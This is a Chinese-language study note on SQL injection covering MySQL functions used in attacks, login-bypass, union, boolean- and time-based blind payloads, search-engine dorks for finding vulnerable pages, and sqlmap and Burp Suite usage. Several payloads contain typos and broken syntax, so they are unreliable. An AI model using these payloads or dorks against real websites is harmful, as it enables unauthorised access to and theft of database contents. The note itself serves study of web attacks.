SQL注入
1.原理分析定义:
SQL注入是一种将恶意的SQL代码插入或添加到应用(用户)的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的构造SQL语句,对数据库系统的内容进行直接检索或修改。
2.SQL的WEB框架分析:

sql的web框架分析.png
3.Mysql注入方法及逻辑
-
Mysql注入常用函数
函数名称 函数功能 system_user() 查询系统用户名 user() 用户名 current_user() 当前用户名 session_user() 连接数据库的用户名 database() 数据库名 version() 数据库版本 @@datadir 数据库路径 @@version_compile_os 数据库版本 count() 返回执行结果数量 concat() 没有分隔符连接字符串 concat_ws() 含有分隔符的连接字符串 group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据 load_file() 读取文件 into_outfile() 写文件 ascii() 字符串的ASCII代码值 ord() 返回字符串的第一个字符的ASCII值 mid() 返回字符串的第一个字符的一部分 substr() 返回字符串的第一个字符的一部分 length() 返回字符串的长度 函数1.png

函数2.png
-
简单的注入分析及sql语句分析
-
-- 登录处的SQL语句 select * from users where username='admin' ad pwd='pass'此时使用:
'or '1'='1则构造sql语句为:
分析1.png
-
and 1=2 union select 1,2,3--select user() regexp '^ro'-- 判断数据库的第一个字符串的首个字符的ASCII码为114 ascii(substr((select user)), 1,1))=114-- 如果数据库的第一个字符串的首个字符的ASCII码为114,则返回0,否则系统延时5秒 If(ascii( substr((select user),1, 1))=114, 0,sleep(5))(ascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1)1,1))=9)uodatexml(1,concat(0x7e,(select eversion),0x7e),1)
4.SQL注入流程
-
如何寻找SQL注入点
-
目标收集:
-
无特定目标
inurl:.php?id= -
有特定目标
inurl:.php?id= site:target.com -
工具爬取
spider,对搜索引擎和目标网站的链接进行爬取
-
-
注入识别
手工简单识别:
'and1=1/and 1=2and '1'='1'/and '1'='2and 1 like 1/and 1 like 2
工具识别:
sqlmap- m filename( filename中保存检测目标)sqlmap- -crawl( sqlmapy对目标网站进行爬取然后依次进行测试)
高级识别:
- 扩展识别广度和深度:
Sqlmap- level增加ロ测试级別,对 header中相关参数也进行测试
sqlmap- r filename( (filename中为网站请求数据) - 利用工具提高识别效率
Burpsuite+ Sqlmap
Burpsuite拦截所有浏览器访问提交的数据
Burpsuite扩展插件,直接调用 Sqlmap进行测试
一些Tips:
- 可以在参数后键入“*"来确定想要测试的参数
- 可能出现注入的点:新闻、登录、搜索、留言
- 站在开发的角度去寻找
-
代码审计:
- 搜索关键代码和函数
- 梳理关键业务
-

SQL注入流程1.png

SQL注入信息收集.png

获取数据.png

提权.png

